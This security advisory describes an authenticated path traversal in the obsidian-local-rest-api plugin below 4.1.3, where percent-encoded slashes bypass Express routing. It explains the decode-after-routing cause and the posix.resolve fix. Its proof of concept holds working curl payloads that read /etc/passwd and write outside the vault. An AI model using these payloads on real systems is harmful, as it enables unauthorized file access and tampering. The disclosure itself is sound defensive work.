high · 8.8Jul 15, 2026

obsidian-local-rest-api: Authenticated Path Traversal via Percent-Encoded Slash in /vault/{path}

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A bug in the Obsidian Local REST API plugin lets an authenticated caller read, write, or delete any file on the host machine by sneaking encoded slashes (%2F) past the URL router and into the file…

Packageobsidian-local-rest-api
Ecosystemnpm
Affected< 4.1.3

The problem

Every /vault/{path} endpoint (GET, PUT, PATCH, POST, DELETE) calls decodeURIComponent on the path segment inside the handler, after Express has already routed the request. Express sees %2F as a literal percent-encoded character, not a separator, so it does not collapse or reject ..%2F sequences during routing.

Once the handler decodes the path, ..%2F..%2F becomes ../../, which walks outside the vault root. The decoded path is passed directly to Obsidian vault adapter calls (readBinary, getAbstractFileByPath, etc.) with no posix.resolve confinement check, giving an authenticated client arbitrary file read, write, and delete at the OS privileges of the Obsidian process.

Proof of concept

A working proof-of-concept for this issue in obsidian-local-rest-api, with the exact payload below.

bash
# READ: returns /etc/passwd bytes with HTTP 200
curl --path-as-is -k \
  -H "Authorization: Bearer $API_KEY" \
  "https://127.0.0.1:27124/vault/..%2F..%2F..%2F..%2Fetc%2Fpasswd"

# WRITE: creates a file outside the vault root
curl --path-as-is -k -X PUT \
  -H "Authorization: Bearer $API_KEY" \
  --data "pwned" \
  "https://127.0.0.1:27124/vault/..%2F..%2F..%2Ftmp%2Fcanary.txt"

# NOTE: a literal ../ (unencoded) returns 404 -- only the %2F form bypasses routing.

The root cause is a decode-after-routing gap (CWE-22). The string Express routes on (..%2F..%2F) is not the string the handler operates on (../../), so the router's path-normalization never sees the traversal.

The fix, already present in vaultMove and now applied to all vault handlers, resolves the decoded path against a synthetic vault root using posix.resolve(syntheticRoot, decoded) and rejects any result that does not start with syntheticRoot + '/'. This makes traversal impossible regardless of encoding variant (%2F, %2e%2e, or combinations).

The fix

Upgrade obsidian-local-rest-api to 4.1.3 or later. The patch applies a posix.resolve confinement check to every vault handler (GET, PUT, PATCH, POST, DELETE, MOVE) and returns ErrorCode.PathTraversalNotAllowed on any path that resolves outside the vault root.

No configuration change is required after upgrading.

Reported by Caleb Brisbin (@AgenticWizard).

References: [1][2][3]

Related research